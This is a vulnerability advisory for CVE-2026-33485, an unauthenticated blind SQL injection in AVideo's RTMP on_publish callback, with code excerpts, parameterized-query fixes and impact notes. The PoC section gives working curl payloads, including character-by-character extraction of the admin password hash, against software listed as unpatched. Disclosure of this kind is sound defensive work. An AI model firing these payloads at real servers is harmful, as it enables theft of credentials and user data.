CVE-2026-33485: AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Summary The RTMP onpublish callback at plugin/Live/onpublish.php is accessible without authentication. The $POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping.
Published Mar 20, 2026 · Updated May 9, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 26.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);Injection point #1 — unconditional (no `p` parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}Injection point #2 — when `$_GET['p']` is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);Why `readSql()` provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1Impact
An unauthenticated remote attacker can:
- Extract all database contents via time-based blind SQL injection, including:
- User password hashes (bcrypt)
- Email addresses and personal information
- API keys, session tokens, and live stream passwords
- Site configuration and secrets stored in database tables
- Authenticate as any user to the streaming system — extracted password hashes can be used directly as the
$_GET['p']parameter sinceon_publish.php:153compares$_GET['p'] === $user->getPassword()against the raw stored hash, allowing the attacker to start streams impersonating any user.
- Enumerate database structure — the injection can be used to query
information_schematables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`:
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`:
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE ? ";
$formats .= "s";
$values[] = $key . '%';
}Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`:
if(!$strict){
$parts = Live::getLiveParametersFromKey($key);
$key = $parts['cleanKey'];
$sql .= " `key` LIKE ? ";
$formats = "s";
$values = [$key . '%'];
}else{
$sql .= " `key` = ? ";
$formats = "s";
$values = [$key];
}All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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